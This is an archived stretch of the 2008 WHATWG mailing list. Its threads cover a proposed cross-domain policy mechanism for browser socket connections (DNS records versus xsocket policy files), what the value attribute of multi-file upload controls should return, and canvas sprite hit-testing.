>


From adrian.sutton at ephox.com  Fri Jun 20 07:31:20 2008
From: adrian.sutton at ephox.com (Adrian Sutton)
Date: Fri, 20 Jun 2008 15:31:20 +0100
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806200701u6b6d5ef6mbb723f075a5cec86@mail.gmail.com>
Message-ID: <C4817DC8.5826%adrian.sutton@ephox.com>

(Frode, this is one of those lists where you have to hit reply all instead
of just reply to send your response to the list. I'm assuming you meant for
that, apologies if you'd meant it to be a private reply.)

On 20/06/2008 15:01, "Frode B?rli" <frode at seria.no> wrote:

>> Actually, DNS servers, particularly for reverse DNS lookups, are out of the
>> control of a huge number of authors on the web. Shared hosting accounts for
>> instance don't have a unique reverse IP look up. There are also plenty of
> 
> The reverse DNS spec specifically allows one IP address to have
> multiple reverse domains.

So how do you know which one to use?

>> people who don't control their DNS at all for whatever reason.
> 
> 1. People that do not have control over the reverse lookup seldom have
> control over multiple servers and seldom require to distribute load
> like this.

I have a few shared hosting sites that I manage and a few servers with
dedicated IPs but I still don't control the reverse DNS on any of them. Even
if I only had one server, I might still want to provide an API that other
people could use in their JavaScript - eg: to include headlines/content from
my RSS feed.

> 3. Hosting providers will add tools allowing their customers to
> configure this security framework, if it is required - but again; if
> you are on a shared server you most likely will not need to connect to
> multiple servers. It will also usually suffice to have a proxy on the
> server (like many people do for XMLHttpRequests now).

My experience is that hosting providers can be extremely slow to add tools
though it has improved lately.

My second thought is to wonder why DDOS is a concern for JavaScript cross
site scripting compared to simply writing out (either directly from the ad
server or from JS): <img src="http://otherhost/whatever.jpg"> an awful lot
and generating the same load on the server.

Regards,

Adrian Sutton.
______________________
Adrian Sutton, CTO
UK: +44 1 753 27 2229  US: +1 (650) 292 9659 x717
Ephox <http://www.ephox.com/>
Ephox Blogs <http://planet.ephox.com/>, Personal Blog
<http://www.symphonious.net/>



From jonas at depagecms.net  Fri Jun 20 08:58:37 2008
From: jonas at depagecms.net (Frank Hellenkamp)
Date: Fri, 20 Jun 2008 17:58:37 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
Message-ID: <485BD3AD.1070406@depagecms.net>

> 1. Browser downloads a script from server A.
> 2. Script tries to connect to server B.
> 3. Browser looks up server B's IP-address.
> 4. Browser performs a reverse lookup of server B's IP-address and gets
> a host name for the server.
> 5. Browser looks up a special TXT record in the DNS record for Server
> B, which states each of the IP addresses/host names that can hosts
> scripts allowed to connect.
> 
> DNS records are cached multiple places (including at the local
> computer), so a DDOS attack attempting to take down DNS servers
> probably not succeed.

DNS-Server-Information is often not accessible for many hosts/shared hosts.

Adobe has some of the same Problems with the Adobe-Flash-Player.
They use a crossdomain.xml-file to provide policy-informations.

In the Flash Player 9,0,115,0 they introduced something like meta-policies:

http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security_04.html

Probably worth a read, when we discuss this topic...


best regards,

frank hellenkamp

-- 
frank hellenkamp | interface designer
hasenheide 53 | 10967 berlin

+49.30.49 78 20 70 | tel
+49.173.70 55 781 | mbl
+49.1805.4002.243 912 | fax
jonas at depagecms.net | mail

http://depagecms.net

strnr 14/339/61587


-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 260 bytes
Desc: OpenPGP digital signature
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080620/75972535/attachment-0001.pgp>

From shadow2531 at gmail.com  Fri Jun 20 09:46:03 2008
From: shadow2531 at gmail.com (Michael A. Puls II)
Date: Fri, 20 Jun 2008 12:46:03 -0400
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>
Message-ID: <6b9c91b20806200946n7b3a3fe0k8edac6428ae4af67@mail.gmail.com>

On 6/20/08, Jo?o Eiras <joao.eiras at gmail.com> wrote:
> Hi
>
>
>  > There's a small problem with that too, because we would need a way to handle file names
>  > that contained quote marks, which is possible on Mac and Linux, but not on Windows.
>
>
> Not only that, but in unix flavours, paths are separated with : while
>  in windows they're separated with ;
>  In *nix special char are escaped with \ while in windows \ separates
>  directories in paths.
>  So IMO, it won't be possible to com up with a solution that is cross
>  platform without making up something completly new.
>  I'd suggest for HTMLInputElement to have a .files or .paths property
>  which would be an array of all the files choosen, names only.
>

I like the idea of .files returning an array of just filenames. Great idea!

But, if .files is implemented, what should .value return then? Always
just the first filename? A separated list of platform-dependent
filenames with a separator that makes sense for separating filenames
on that platform? Nothing?

On a side, I'd like .paths to return a list of file URIs (when I allow
it, like for local pages or specific sites).  Be nice for building a
playlist for scripting media player type plugins or even Audio and
Video. That way, you could choose a bunch of files in a different
directory than the page and have the paths load in a playlist. (Or,
even use a script to convert the file URI to a platform path if the
plugin doesn't understand file URIs). Of course, I guess that'd have
to be a browser-specific thing and .vendor_paths.

Anyway, .files returning an array would be a lot better than trying to
parse some platform-specific separated list string that .value might
return.

-- 
Michael

From frode at seria.no  Fri Jun 20 10:31:31 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 19:31:31 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <485BD3AD.1070406@depagecms.net>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<485BD3AD.1070406@depagecms.net>
Message-ID: <31fb000f0806201031p95220c9u6a29c7a1f9f812bf@mail.gmail.com>

>> 1. Browser downloads a script from server A.
>> 2. Script tries to connect to server B.
>> 3. Browser looks up server B's IP-address.
>> 4. Browser performs a reverse lookup of server B's IP-address and gets
>> a host name for the server.
>> 5. Browser looks up a special TXT record in the DNS record for Server
>> B, which states each of the IP addresses/host names that can hosts
>> scripts allowed to connect.
>>
>> DNS records are cached multiple places (including at the local
>> computer), so a DDOS attack attempting to take down DNS servers
>> probably not succeed.
> DNS-Server-Information is often not accessible for many hosts/shared hosts.

This is no problem, since the script that creates the connection can
be hosted on any host and included from any host. Server A includes
script from Server B. If the script from Server B creates a connection
to Server B, then Server A's page can communicate with Server B.

Secondly, there are a lot of hosts that allow you to edit DNS records
- and the rules of a free market will ensure that those who doesn't
will follow shortly.

> Adobe has some of the same Problems with the Adobe-Flash-Player.
> They use a crossdomain.xml-file to provide policy-informations.

That is ofcourse another solution. I like the DNS solution too as it
would be more scalable, since the server that would be under attack
would not have to serve millions of hits to the crossdomain.xml file.

But still, couldn't we combine the two methods? I have read the Adobe
article and it gave me another idea based on policy xml files:

If the socket is created like this: var socket = new WebSocket(host,
port); then DNS is checked.


If the socket is created like this: var socket = new
WebSocket("http://www.example.com/chatserver.xsocket");

Then the .xsocket file is an XML file specifying exactly how the
WebSocket should connect to the server and perhaps any restrictions on
the connections? It would be similar to including a script from a
server, but this would have the following benefits:

1. The chatserver.xsocket-file could be dynamically generated,
allowing many things that we may not think about today.
2. It would be suitable for shared servers.
3. It would allow for example Yahoo! to create services that you can
connect to simply by doing new
WebSocket("http://www.yahoo.com/services/search.xsocket")
4. To load balance, the url could redirect the connecting user to
another xsocket file on another server perhaps?

Frode


From phil127 at gmail.com  Fri Jun 20 11:16:18 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Fri, 20 Jun 2008 20:16:18 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <31fb000f0806201031p95220c9u6a29c7a1f9f812bf@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<485BD3AD.1070406@depagecms.net>
	<31fb000f0806201031p95220c9u6a29c7a1f9f812bf@mail.gmail.com>
Message-ID: <f042876c0806201116p43c051bay3298ccd6392f8ae@mail.gmail.com>

On Fri, Jun 20, 2008 at 7:31 PM, Frode B?rli <frode at seria.no> wrote:
> If the socket is created like this: var socket = new
> WebSocket("http://www.example.com/chatserver.xsocket");
>
> Then the .xsocket file is an XML file specifying exactly how the
> WebSocket should connect to the server and perhaps any restrictions on
> the connections? It would be similar to including a script from a
> server, but this would have the following benefits:
>
> 1. The chatserver.xsocket-file could be dynamically generated,
> allowing many things that we may not think about today.
> 2. It would be suitable for shared servers.
> 3. It would allow for example Yahoo! to create services that you can
> connect to simply by doing new
> WebSocket("http://www.yahoo.com/services/search.xsocket")
> 4. To load balance, the url could redirect the connecting user to
> another xsocket file on another server perhaps?
>
> Frode

This sounds like a really good idea. You could even expand this and
use raw TCP connections, then have the xsocket file, for example,
specify a block of data the browser has to send over the new
connection before control is passed to the web application.

That way web hosters could use their own method of mapping customers
to persistent connection. Owners of dedicated servers could leave the
field blank and have all the flexibillity of a raw connection.

Web applications could still easily ported from one system to the
other, because the file would be processed transparently.

The only problem I see is getting the allowed domains right, the
xsocket file can point to. On the one hand, you may want a dedicated
machine for the persistent connections if you run a very popular
service and anticipate many connections at once. On the other hand,
you don't want an evil site getting access to your service using their
own xsocket file.


From lachlan.hunt at lachy.id.au  Fri Jun 20 11:48:22 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Fri, 20 Jun 2008 20:48:22 +0200
Subject: [whatwg] What should the value attribute be for
 multi-file	upload controls in WF2?
In-Reply-To: <e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>	<485BB421.4090803@lachy.id.au>
	<e72b1b360806200720q3e032773tfc15c06558e8313d@mail.gmail.com>
Message-ID: <485BFB76.3000102@lachy.id.au>

Jo?o Eiras wrote:
> I'd suggest for HTMLInputElement to have a .files or .paths property
> which would be an array of all the files choosen, names only.

Whether or not it's worth doing that really depends what use cases we're 
trying to address.  The initial post in this thread was just about 
defining what .value returns for file controls, which needs to be 
defined anyway and is what this thread should really focus on.

I don't think we should jump to the conclusion that we really need to 
provide an array of individual file names without defining why that's 
even useful for authors, especially when doing so doesn't actually 
address the original problem that was raised.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From frode at seria.no  Fri Jun 20 12:18:52 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 21:18:52 +0200
Subject: [whatwg] Proposal for cross domain security framework
In-Reply-To: <f042876c0806201116p43c051bay3298ccd6392f8ae@mail.gmail.com>
References: <31fb000f0806200452i72a25bdbo42b102fde6479b88@mail.gmail.com>
	<485BD3AD.1070406@depagecms.net>
	<31fb000f0806201031p95220c9u6a29c7a1f9f812bf@mail.gmail.com>
	<f042876c0806201116p43c051bay3298ccd6392f8ae@mail.gmail.com>
Message-ID: <31fb000f0806201218t27b87388x920a89843dd4a558@mail.gmail.com>

> Web applications could still easily ported from one system to the
> other, because the file would be processed transparently.
>
> The only problem I see is getting the allowed domains right, the
> xsocket file can point to. On the one hand, you may want a dedicated
> machine for the persistent connections if you run a very popular
> service and anticipate many connections at once. On the other hand,
> you don't want an evil site getting access to your service using their
> own xsocket file.

All servers that can accept connections must have a xsocket file.

The only way around this that I see is my reverse DNS proposal...

-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From t.broyer at gmail.com  Fri Jun 20 13:47:22 2008
From: t.broyer at gmail.com (Thomas Broyer)
Date: Fri, 20 Jun 2008 22:47:22 +0200
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <485BB421.4090803@lachy.id.au>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
Message-ID: <a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>

On Fri, Jun 20, 2008 at 3:44 PM, Lachlan Hunt wrote:
>
> Windows browsers:
> IE 8:         test.txt
> IE 7 mode:    test.txt

For the record, "real" IE7 (on Vista) says the full path.

-- 
Thomas Broyer


From frode at seria.no  Fri Jun 20 15:44:37 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Sat, 21 Jun 2008 00:44:37 +0200
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>
Message-ID: <31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com>

Why can't .value returnere an array? just the first filename seems
silly. I would expect an array.

On 6/20/08, Thomas Broyer <t.broyer at gmail.com> wrote:
> On Fri, Jun 20, 2008 at 3:44 PM, Lachlan Hunt wrote:
>>
>> Windows browsers:
>> IE 8:         test.txt
>> IE 7 mode:    test.txt
>
> For the record, "real" IE7 (on Vista) says the full path.
>
> --
> Thomas Broyer
>


-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From giecrilj at stegny.2a.pl  Fri Jun 20 15:55:57 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Sat, 21 Jun 2008 00:55:57 +0200
Subject: [whatwg] What should the value attribute be for
	multi-fileupload controls in WF2?
In-Reply-To: <31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com><485BB421.4090803@lachy.id.au><a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>
	<31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com>
Message-ID: <0A08EABFC63C493E9E2EA1047DFD3F2B@POCZTOWIEC>

Because it breaks the common interface that the value property returns a
scalar?

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Saturday, June 21, 2008 12:45 AM
To: Thomas Broyer; whatwg at whatwg.org
Subject: Re: [whatwg] What should the value attribute be for
multi-fileupload controls in WF2?

Why can't .value returnere an array? just the first filename seems
silly. I would expect an array.





From excors+whatwg at gmail.com  Fri Jun 20 17:16:58 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Sat, 21 Jun 2008 01:16:58 +0100
Subject: [whatwg] '' <canvas> element "selection buffer"
In-Reply-To: <002901c8c8b4$3de315a0$43cee593@d020330a>
References: <002901c8c8b4$3de315a0$43cee593@d020330a>
Message-ID: <ea09c0d10806201716mb0bb941w66ee88a498e9d48b@mail.gmail.com>

On 07/06/2008, Ond?ej ?i?ka <ondra at dynawest.cz> wrote:
> Hi,
>
>  I've been looking for something similar to OpenGL's selection buffer - that is, you can get some object ID for the given coordinates.
>
>  E.g.,  Jacob Seidelin's chess game http://blog.nihilogic.dk/search/label/chess could use it, but instead, keyboard control had to be used.
>
>  isPointInPath() does not solve the problem effectively if the path would be too complex - e.g. pixel-based sprites in several layers.
>
>  For an example of what I want to implement, see e.g.
>  http://www.openttd.org/screens.php?image=images/screens/0.5.0/japan_national_railway_3_aug_1984 .
>  Mathematical computation of the object is principially impossible (or too complex in best case).

To hande sprites, you could draw each sprite onto its own canvas
(during the initial loading process) and test
spriteCtx.getImageData(x, y, 1, 1).data[3] > 127 to see if it's
sufficiently non-transparent. Quickly skip any sprites whose bounding
box does not contain (x,y), then test the remaining ones from front to
back to find the first that's solid under the given point, and that
should give the answer.

What problems does that approach have, that could be better solved by
a different approach (like selection buffers)?

The main issue I can think of is performance: using getImageData()
means you have to test every sprite that's possibly under the given
point, which could be expensive if you have a very large number of
them, whereas selectionBuffer.getIdAt() takes constant time but
introduces a (probably quite large) constant overhead to all drawing
operations. The selection buffer would help if you're doing a lot of
lookups compared to the amount of drawing and have a lot of
overlapping sprites, but I would expect it to be worse (since the
additional drawing cost would exceed the cost of the object-selection
code) in the much more common cases where you're only doing a single
lookup per frame or only have a few sprites overlapping any given
point. Are there other issues I'm missing?

-- 
Philip Taylor
excors at gmail.com

From ondra at dynawest.cz  Sat Jun 21 03:22:29 2008
From: ondra at dynawest.cz (=?UTF-8?B?T25kxZllaiDFvWnFvmth?=)
Date: Sat, 21 Jun 2008 12:22:29 +0200
Subject: [whatwg] '' Re:  '' <canvas> element "selection buffer"
References: <002901c8c8b4$3de315a0$43cee593@d020330a>
	<ea09c0d10806201716mb0bb941w66ee88a498e9d48b@mail.gmail.com>
Message-ID: <53D9315E409A469E9009706FCD427C50@d020330a>

----- Original Message ----- 
From: "Philip Taylor" <excors+whatwg at gmail.com>
To: "Ond?ej ?i?ka" <ondra at dynawest.cz>
Cc: <whatwg at whatwg.org>
Sent: Saturday, June 21, 2008 2:16 AM
Subject: Re: [whatwg] '' <canvas> element "selection buffer"


> On 07/06/2008, Ond?ej ?i?ka <ondra at dynawest.cz> wrote:
>> Hi,
>>
>>  I've been looking for something similar to OpenGL's selection buffer - 
>> that is, you can get some object ID for the given coordinates.
>>
>>  E.g.,  Jacob Seidelin's chess game 
>> http://blog.nihilogic.dk/search/label/chess could use it, but instead, 
>> keyboard control had to be used.
>>
>>  isPointInPath() does not solve the problem effectively if the path would 
>> be too complex - e.g. pixel-based sprites in several layers.
>>
>>  For an example of what I want to implement, see e.g.
>> 
>> http://www.openttd.org/screens.php?image=images/screens/0.5.0/japan_national_railway_3_aug_1984 .
>>  Mathematical computation of the object is principially impossible (or 
>> too complex in best case).
>
> To hande sprites, you could draw each sprite onto its own canvas
> (during the initial loading process) and test
> spriteCtx.getImageData(x, y, 1, 1).data[3] > 127 to see if it's
> sufficiently non-transparent. Quickly skip any sprites whose bounding
> box does not contain (x,y), then test the remaining ones from front to
> back to find the first that's solid under the given point, and that
> should give the answer.

Thanks for the idea, crossed my mind too, but I guessed this would cause 
very poor performance - imagine performing such search upon "mousemove" 
event.

> What problems does that approach have, that could be better solved by
> a different approach (like selection buffers)?
>
> The main issue I can think of is performance: using getImageData()
> means you have to test every sprite that's possibly under the given
> point, which could be expensive if you have a very large number of
> them, whereas selectionBuffer.getIdAt() takes constant time but
> introduces a (probably quite large) constant overhead to all drawing
> operations.

Not for all operations, only those drawn when "ID buffering" is on. Not all 
objects must be "clickable".
Second, these operations performed in native functions would be incomparably 
faster than lookups in JS.

> The selection buffer would help if you're doing a lot of
> lookups compared to the amount of drawing and have a lot of
> overlapping sprites, but I would expect it to be worse (since the
> additional drawing cost would exceed the cost of the object-selection
> code) in the much more common cases where you're only doing a single
> lookup per frame or only have a few sprites overlapping any given
> point. Are there other issues I'm missing?

I don't know the internals of canvas, but considering the mousemove events, 
which can be fired very frequently, storing the ID into the selection buffer 
would be much more effective, especially if we drew once with ID buffering 
ON, then switched it OFF, and then re-used the filled buffer for other 
rounds, until we know we need to re-fill it -- using the mentioned picture 
as an example, this would occur when the map has moved.

The other issue is inconvenience. Programming pixel-based sprite look-ups 
using all offsets is much more tedious than simply reading a value with an 
one-line command.

I'm quite surprised this has not been discussed - or was it? I haven't found 
any discussion. IMHO canvas element will support this kind of interactivity 
some day - it would be very natural complement of it's displaying purposes.

Ondra




From mpt at myrealbox.com  Sat Jun 21 05:57:27 2008
From: mpt at myrealbox.com (Matthew Paul Thomas)
Date: Sat, 21 Jun 2008 13:57:27 +0100
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <485BB421.4090803@lachy.id.au>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
Message-ID: <f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>

On Jun 20, 2008, at 2:44 PM, Lachlan Hunt wrote:
> ...
> In each one, I selected a file named test.txt from within my home or 
> My Documents directory.  These are the vaules returned in each 
> browser:
>
> Windows browsers:
> IE 8:         test.txt
> IE 7 mode:    test.txt
> Firefox 2:    D:\My Documents\test.txt
> Firefox 3:    test.txt
> Opera 9.5:    C:\fake_path\test.txt
> Safari 3.1.1: D:\My Documents\test.txt
>
> Mac browsers:
> Firefox 3:    test.txt
> Opera 9.5:    C:\fake_path\test.txt
> Safari 4 (Developer Preview): /Users/lachlanhunt/test.txt
> ...
> Since Both Firefox 3 and IE 8 only return the file name, and Opera 9.5 
> refuses to return the real path anyway, maybe we should define that 
> when there's only a single file selected, it returns just the file 
> name.
> ...
> -- 
> Lachlan Hunt - Opera Software

If this needs to be standardized for interoperability (though it's not 
clear to me that it does), it might help to know why Opera goes to the 
trouble of providing a fake path, rather than providing just the 
filename as Internet Explorer 7 and Firefox 3 do. Was this needed for 
Web site compatibility?

Even if it doesn't need to be standardized for interoperability, it 
might help improve privacy if the spec advised browsers not to include 
the path. It's not obvious that uploading a file will divulge the path, 
and the path might include information that you'd rather not disclose 
(such as your full name, if you've used it as the name for your home 
folder).

> ...
> But it really depends what use cases we need to address.  Do authors 
> ever actually obtain the file name using JavaScript for anything?  If 
> so, what for?  With multiple file selection, is it likely they would 
> want to inspect each individual file name for anything, in which case, 
> should we find a way to make it easier to obtain individual file 
> names?
> ...

A related issue, that Web Forms 2 also doesn't seem to address: Should 
it be possible to select the same file multiple times in the same 
upload control? (I can imagine use cases for selecting the same file in 
different upload controls on the same page, but none come to mind for 
the same file in the same upload control.)

If it should be possible, but a Web author wants to prevent it in a 
case where only distinct files make sense, should they be able to do 
so? And if so, how? Relying on the browser-provided filename wouldn't 
be reliable when that doesn't include the path.

Cheers
-- 
Matthew Paul Thomas
http://mpt.net.nz/


---AV & Spam Filtering by M+Guardian - Risk Free Email (TM)---



From excors+whatwg at gmail.com  Sat Jun 21 07:35:44 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Sat, 21 Jun 2008 15:35:44 +0100
Subject: [whatwg] '' Re: '' <canvas> element "selection buffer"
In-Reply-To: <53D9315E409A469E9009706FCD427C50@d020330a>
References: <002901c8c8b4$3de315a0$43cee593@d020330a>
	<ea09c0d10806201716mb0bb941w66ee88a498e9d48b@mail.gmail.com>
	<53D9315E409A469E9009706FCD427C50@d020330a>
Message-ID: <ea09c0d10806210735y7eeaef51r94ca79a40a7098fb@mail.gmail.com>

On 21/06/2008, Ond?ej ?i?ka <ondra at dynawest.cz> wrote:
> > To hande sprites, you could draw each sprite onto its own canvas
> > (during the initial loading process) and test
> > spriteCtx.getImageData(x, y, 1, 1).data[3] > 127 to see if it's
> > sufficiently non-transparent. Quickly skip any sprites whose bounding
> > box does not contain (x,y), then test the remaining ones from front to
> > back to find the first that's solid under the given point, and that
> > should give the answer.
> >
>
>  Thanks for the idea, crossed my mind too, but I guessed this would cause
> very poor performance - imagine performing such search upon "mousemove"
> event.

I guessed otherwise :-)
To see if I was wrong, I tried implementing this at
http://philip.html5.org/demos/canvas/spritepick/example.html

That example doesn't do anything very clever - on mousemove, it loops
through every sprite and first checks against the bounding box and
then uses getImageData to see if the sprite is transparent at that
point. When the display changes, it just draws every sprite, clipped
to the area that changed.

In Firefox (3.0) and WebKit (nightly) on Windows, it seems to be
easily fast enough with a thousand sprites on the screen. As the
number of sprites increases, performance seems to be affected almost
entirely by the rendering, and the sprite-picking takes very little
time. In Firefox on Linux, and in Opera (9.5) on Linux and Windows,
the drawing speed is rubbish and it doesn't work smoothly with more
than a hundred sprites.

The drawing code could probably be made faster by redrawing as few
sprites as possible per frame, or by not redrawing them at all (and
using some other UI to indicate the selected object). The
sprite-picking code could probably be made faster too, e.g. by doing
some kind of quadtree thing to quickly get a list of all sprites that
might overlap the given point.

So, I don't think I see any evidence that this method of selecting
sprites has unacceptable performance.

> > The main issue I can think of is performance: using getImageData()
> > means you have to test every sprite that's possibly under the given
> > point, which could be expensive if you have a very large number of
> > them, whereas selectionBuffer.getIdAt() takes constant time but
> > introduces a (probably quite large) constant overhead to all drawing
> > operations.
> >
>
>  Not for all operations, only those drawn when "ID buffering" is on. Not all
> objects must be "clickable".
>  Second, these operations performed in native functions would be
> incomparably faster than lookups in JS.

But the ID-buffering operations in native functions would have to be
performed on every pixel that is drawn (while ID-buffering is
enabled), and there will be millions of pixels; whereas the JS lookups
would have to be performed once per sprite-that-is-under-the-mouse for
each frame, and there will only be a few sprites to check each time,
so it's doing much less work than the native functions and so it can
be much faster overall.

>  The other issue is inconvenience. Programming pixel-based sprite look-ups
> using all offsets is much more tedious than simply reading a value with an
> one-line command.

Another issue is that canvas implementations are usually quite buggy
(I found new bugs in Opera and WebKit while writing the earlier
example...), and the selection buffer would add a lot of complexity
and a lot of new bugs, since it would have to interact with clipping
and composite operations and alpha and all the optimisations that
implementations perform. Buggy implementations are very inconvenient
for authors, so it may be more convenient to use the existing simple
APIs instead of relying on the browsers to provide a complex new API
:-)

>  I'm quite surprised this has not been discussed - or was it? I haven't
> found any discussion. IMHO canvas element will support this kind of
> interactivity some day - it would be very natural complement of it's
> displaying purposes.

I don't remember any previous discussion about this specific topic. In
general discussions about interactivity, the answer is usually to use
SVG instead of canvas - SVG is designed for interactive graphical
documents, while canvas is designed for non-interactive
dynamically-generated images, so in many cases it's better to use SVG
rather than to reinvent SVG's features inside canvas. (That may not
apply to this specific case, though.)

-- 
Philip Taylor
excors at gmail.com

From shadow2531 at gmail.com  Sat Jun 21 08:48:24 2008
From: shadow2531 at gmail.com (Michael A. Puls II)
Date: Sat, 21 Jun 2008 11:48:24 -0400
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<f6dc6579eab2d0aff4e2ac2d2aa38f42@myrealbox.com>
Message-ID: <6b9c91b20806210848r1d16407fic23372007845e347@mail.gmail.com>

On 6/21/08, Matthew Paul Thomas <mpt at myrealbox.com> wrote:
> On Jun 20, 2008, at 2:44 PM, Lachlan Hunt wrote:
>
> > ...
> > In each one, I selected a file named test.txt from within my home or My
> Documents directory.  These are the vaules returned in each browser:
> >
> > Windows browsers:
> > IE 8:         test.txt
> > IE 7 mode:    test.txt
> > Firefox 2:    D:\My Documents\test.txt
> > Firefox 3:    test.txt
> > Opera 9.5:    C:\fake_path\test.txt
> > Safari 3.1.1: D:\My Documents\test.txt
> >
> > Mac browsers:
> > Firefox 3:    test.txt
> > Opera 9.5:    C:\fake_path\test.txt
> > Safari 4 (Developer Preview): /Users/lachlanhunt/test.txt
> > ...
> > Since Both Firefox 3 and IE 8 only return the file name, and Opera 9.5
> refuses to return the real path anyway, maybe we should define that when
> there's only a single file selected, it returns just the file name.
> > ...
> > --
> > Lachlan Hunt - Opera Software
> >
>
>  If this needs to be standardized for interoperability (though it's not
> clear to me that it does), it might help to know why Opera goes to the
> trouble of providing a fake path, rather than providing just the filename as
> Internet Explorer 7 and Firefox 3 do. Was this needed for Web site
> compatibility?

FF2, Safari and IE7 (as opposed to IE7 mode in IE8) show the full
path. Some sites that were only tested for windows browsers probably
expected a full path and tried to get the substr after the last \.
However, they probably checked to see if a \ existed first and if it
didn't, they didn't do anything. My guess at least.

But, now that FF3 and IE8 return just a filename, maybe those sites
are starting to fix things to just assume a filename. Not sure.

Anyway, the use case for .value is:

<!DOCTYPE html>
<html>
    <head>
        <title></title>
    </head>
    <body>
        <p>File to attach: <p>
        <p><input type="file"
onchange="document.getElementsByTagName('p')[0].innerHTML +=
this.value;"></p>
        <button>Upload</button>
    </body>
</html>

And, the use case for .files is:

<!DOCTYPE html>
<html>
    <head>
        <title></title>
        <script>
            function showFileNames(files) {
                var pre = document.getElementsByTagName("pre")[0];
                var s = "";
                for (var i = 0; i < files.length; ++i) {
                    if (i > 0) {
                        s += "\n";
                    }
                    s += files[i];
                }
                pre.innerHTML = s;
            }
        </script>
    </head>
    <body>
        <p>Files to attach:<p>
        <pre></pre>
        <p><input type="file" max="4" onchange="showFileNames(this.files)"></p>
        <button>Upload</button>
    </body>
</html>

(.value could be used instead of .files, but it'd have to return a
platform-specific separated list that you would have to parse into an
array first in this situation)

-- 
Michael


From excors+whatwg at gmail.com  Sat Jun 21 15:52:11 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Sat, 21 Jun 2008 23:52:11 +0100
Subject: [whatwg] commit-watchers mail format
Message-ID: <ea09c0d10806211552x5f025e06w75b6a944f8796d45@mail.gmail.com>

The mails sent to commit-watchers at whatwg.org are not very
user-friendly. In particular, I collect them in Gmail and 'star'
interesting ones that I want to look at in more detail in the future.
When looking at the list of starred emails, I see:

  whatwg  WHATWG ?[html5] r1771 - / - Author: ianh Date: 2008-06-13
01:59:40 -0700 (Fri, 13 Jun 2008) New Revision: 1771 Modified ?  13
Jun
  whatwg  WHATWG ?[html5] r1770 - / - Author: ianh Date: 2008-06-13
01:49:25 -0700 (Fri, 13 Jun 2008) New Revision: 1770 Modified ?  13
Jun
  whatwg  WHATWG ?[html5] r1768 - / - Author: ianh Date: 2008-06-13
01:22:57 -0700 (Fri, 13 Jun 2008) New Revision: 1768 Modified ?  13
Jun
  whatwg  WHATWG ?[html5] r1767 - / - Author: ianh Date: 2008-06-13
01:12:01 -0700 (Fri, 13 Jun 2008) New Revision: 1767 Modified ?  13
Jun

